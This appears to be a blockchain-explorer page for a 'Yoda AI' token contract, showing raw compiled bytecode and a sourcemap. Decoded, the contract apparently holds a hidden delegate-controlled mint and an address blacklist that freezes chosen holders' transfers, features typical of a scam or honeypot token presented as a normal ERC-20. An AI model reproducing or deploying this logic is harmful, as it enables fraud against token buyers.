1101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f3565b005b6104d261125f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105125780820151818401526020810190506104f7565b50505050905090810190601f16801561053f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611298565b604051808215151515815260200191505060405180910390f35b6105f5600480360360208110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b1565b005b6106436004803603604081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ff565b604051808215151515815260200191505060405180910390f35b6106bf6004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fb565b6040518082815260200191505060405180910390f35b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600781526020017f596f64612041490000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109035750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561095a5760008214610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a6957600080fd5b610abb82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b610d20816119b3565b50565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e34576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec8565b610e47838261198290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a64e8d4a510000281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611017611b86565b73ffffffffffffffffffffffffffffffffffffffff166110356110ca565b73ffffffffffffffffffffffffffffffffffffffff16146110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110c86000611b8e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114d57600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611203576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061125c565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600681526020017f596f64614149000000000000000000000000000000000000000000000000000081525081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061133b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113925760008214611391576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561141857600080fd5b61146a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ff82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6115b9611b86565b73ffffffffffffffffffffffffffffffffffffffff166115d76110ca565b73ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116bb57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061179082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561198e57fe5b818303905092915050565b60008183019050828110156119aa57fe5b80905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616c6c6572206e6f742062656c6f6e6720746f2064656c656761746573000081525060200191505060405180910390fd5b6000811415611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cd36025913960400191505060405180910390fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cf86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a206275726e207a65726f20746f6b656e7320697320646973616c6c6f7765644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820d1af0a811368ba1748b35d88a9c2aeef6f2ab89da3e86bafd36e7357721bb6cf64736f6c634300050f0032

Deployed Bytecode Sourcemap

8815:558:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8815:558:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8070:188;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8070:188:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9023:39;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;9023:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7872:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7872:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4015:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6448:595;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6448:595:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8939:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9289:81;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9289:81:0;;;;;;;;;;;;;;;;;:::i;:::-;;7049:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7049:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8853:81;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3401:129;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3401:129:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5226:99;;;:::i;:::-;;4717:85;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7495:371;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7495:371:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;8978:40;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;8978:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3536:471;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3536:471:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5070:150;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5070:150:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;8506:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8506:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6281:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6281:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8070:188;8173:4;8197:23;:55;8227:24;8197:55;;;;;;;;;;;;;;;;;;;;;;;;;8190:62;;8070:188;;;:::o;9023:39::-;;;;;;;;;;;;;;;;;;;:::o;7872:192::-;7939:4;7984:6;7952:7;:19;7960:10;7952:19;;;;;;;;;;;;;;;:29;7972:8;7952:29;;;;;;;;;;;;;;;:38;;;;8023:8;8002:38;;8011:10;8002:38;;;8033:6;8002:38;;;;;;;;;;;;;;;;;;8054:4;8047:11;;7872:192;;;;:::o;4015:108::-;4079:7;4105:12;;4098:19;;4015:108;:::o;6448:595::-;6560:4;6577:23;:30;6601:5;6577:30;;;;;;;;;;;;;;;;;;;;;;;;;:67;;;;6616:23;:28;6640:3;6616:28;;;;;;;;;;;;;;;;;;;;;;;;;6577:67;6568:108;;;6670:1;6660:6;:11;6646:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6568:108;6707:1;6692:17;;:3;:17;;;;6678:32;;;;;;6736:8;:15;6745:5;6736:15;;;;;;;;;;;;;;;;6726:6;:25;;6712:40;;;;;;6778:7;:14;6786:5;6778:14;;;;;;;;;;;;;;;:26;6793:10;6778:26;;;;;;;;;;;;;;;;6768:6;:36;;6754:51;;;;;;6830:27;6850:6;6830:8;:15;6839:5;6830:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6812:8;:15;6821:5;6812:15;;;;;;;;;;;;;;;:45;;;;6880:25;6898:6;6880:8;:13;6889:3;6880:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6864:8;:13;6873:3;6864:13;;;;;;;;;;;;;;;:41;;;;6941:38;6972:6;6941:7;:14;6949:5;6941:14;;;;;;;;;;;;;;;:26;6956:10;6941:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;6912:7;:14;6920:5;6912:14;;;;;;;;;;;;;;;:26;6927:10;6912:26;;;;;;;;;;;;;;;:67;;;;7007:3;6991:28;;7000:5;6991:28;;;7012:6;6991:28;;;;;;;;;;;;;;;;;;7033:4;7026:11;;6448:595;;;;;:::o;8939:34::-;8972:1;8939:34;:::o;9289:81::-;9351:13;9357:6;9351:5;:13::i;:::-;9289:81;:::o;7049:440::-;7157:4;7173:13;7189:7;:19;7197:10;7189:19;;;;;;;;;;;;;;;:29;7209:8;7189:29;;;;;;;;;;;;;;;;7173:45;;7248:8;7229:16;:27;7225:168;;;7299:1;7267:7;:19;7275:10;7267:19;;;;;;;;;;;;;;;:29;7287:8;7267:29;;;;;;;;;;;;;;;:33;;;;7225:168;;;7355:30;7368:16;7355:8;:12;;:30;;;;:::i;:::-;7323:7;:19;7331:10;7323:19;;;;;;;;;;;;;;;:29;7343:8;7323:29;;;;;;;;;;;;;;;:62;;;;7225:168;7425:8;7404:61;;7413:10;7404:61;;;7435:7;:19;7443:10;7435:19;;;;;;;;;;;;;;;:29;7455:8;7435:29;;;;;;;;;;;;;;;;7404:61;;;;;;;;;;;;;;;;;;7479:4;7472:11;;;7049:440;;;;:::o;8853:81::-;8972:1;8916:17;;8910:2;:23;8893:13;:41;8853:81;:::o;3401:129::-;3484:7;3507:8;:17;3516:7;3507:17;;;;;;;;;;;;;;;;3500:24;;3401:129;;;:::o;5226:99::-;4865:12;:10;:12::i;:::-;4854:23;;:7;:5;:7::i;:::-;:23;;;4840:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5289:30;5316:1;5289:18;:30::i;:::-;5226:99::o;4717:85::-;4769:7;4790:6;;;;;;;;;;;4783:13;;4717:85;:::o;7495:371::-;7619:9;;;;;;;;;;;7600:28;;:10;:28;;;7586:43;;;;;;7700:4;7641:63;;:23;:55;7671:24;7641:55;;;;;;;;;;;;;;;;;;;;;;;;;:63;;;7631:230;;;7770:5;7712:23;:55;7742:24;7712:55;;;;;;;;;;;;;;;;:63;;;;;;;;;;;;;;;;;;7631:230;;;7849:4;7791:23;:55;7821:24;7791:55;;;;;;;;;;;;;;;;:62;;;;;;;;;;;;;;;;;;7631:230;7495:371;:::o;8978:40::-;;;;;;;;;;;;;;;;;;;:::o;3536:471::-;3625:4;3643:23;:35;3667:10;3643:35;;;;;;;;;;;;;;;;;;;;;;;;;:72;;;;3687:23;:28;3711:3;3687:28;;;;;;;;;;;;;;;;;;;;;;;;;3643:72;3633:114;;;3741:1;3731:6;:11;3717:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3633:114;3778:1;3763:17;;:3;:17;;;;3749:32;;;;;;3807:8;:20;3816:10;3807:20;;;;;;;;;;;;;;;;3797:6;:30;;3783:45;;;;;;3858:32;3883:6;3858:8;:20;3867:10;3858:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;3835:8;:20;3844:10;3835:20;;;;;;;;;;;;;;;:55;;;;3913:25;3931:6;3913:8;:13;3922:3;3913:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3897:8;:13;3906:3;3897:13;;;;;;;;;;;;;;;:41;;;;3971:3;3950:33;;3959:10;3950:33;;;3976:6;3950:33;;;;;;;;;;;;;;;;;;3997:4;3990:11;;3536:471;;;;:::o;5070:150::-;4865:12;:10;:12::i;:::-;4854:23;;:7;:5;:7::i;:::-;:23;;;4840:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5185:1;5164:23;;:9;;;;;;;;;;;:23;;;5150:38;;;;;;5207:7;5195:9;;:19;;;;;;;;;;;;;;;;;;5070:150;:::o;8506:302::-;8609:4;8664:46;8698:11;8664:7;:19;8672:10;8664:19;;;;;;;;;;;;;;;:29;8684:8;8664:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;8625:7;:19;8633:10;8625:19;;;;;;;;;;;;;;;:29;8645:8;8625:29;;;;;;;;;;;;;;;:86;;;;8744:8;8723:61;;8732:10;8723:61;;;8754:7;:19;8762:10;8754:19;;;;;;;;;;;;;;;:29;8774:8;8754:29;;;;;;;;;;;;;;;;8723:61;;;;;;;;;;;;;;;;;;8798:4;8791:11;;8506:302;;;;:::o;6281:161::-;6385:7;6411;:15;6419:6;6411:15;;;;;;;;;;;;;;;:25;6427:8;6411:25;;;;;;;;;;;;;;;;6404:32;;6281:161;;;;:::o;2748:147::-;2837:7;2868:1;2863;:6;;2856:14;;;;2888:1;2884;:5;2877:12;;2748:147;;;;:::o;2903:155::-;2986:9;3015:1;3011;:5;3007:9;;3035:1;3030;:6;;3023:14;;;;3051:1;3044:8;;2903:155;;;;:::o;8264:236::-;5001:10;4988:23;;:9;;;;;;;;;;;:23;;;4974:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8362:1;8352:6;:11;;8344:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8436:6;8412:8;:20;8421:10;8412:20;;;;;;;;;;;;;;;;:30;;;;;;;;;;;8483:1;8454:40;;8463:10;8454:40;;;8487:6;8454:40;;;;;;;;;;;;;;;;;;8264:236;:::o;4154:105::-;4220:7;4243:10;4236:17;;4154:105;:::o;5331:231::-;5437:1;5417:22;;:8;:22;;;;5409:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5523:8;5494:38;;5515:6;;;;;;;;;;;5494:38;;;;;;;;;;;;5548:8;5539:6;;:17;;;;;;;;;;;;;;;;;;5331:231;:::o

Swarm Source

bzzr://d1af0a811368ba1748b35d88a9c2aeef6f2ab89da3e86bafd36e7357721bb6cf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.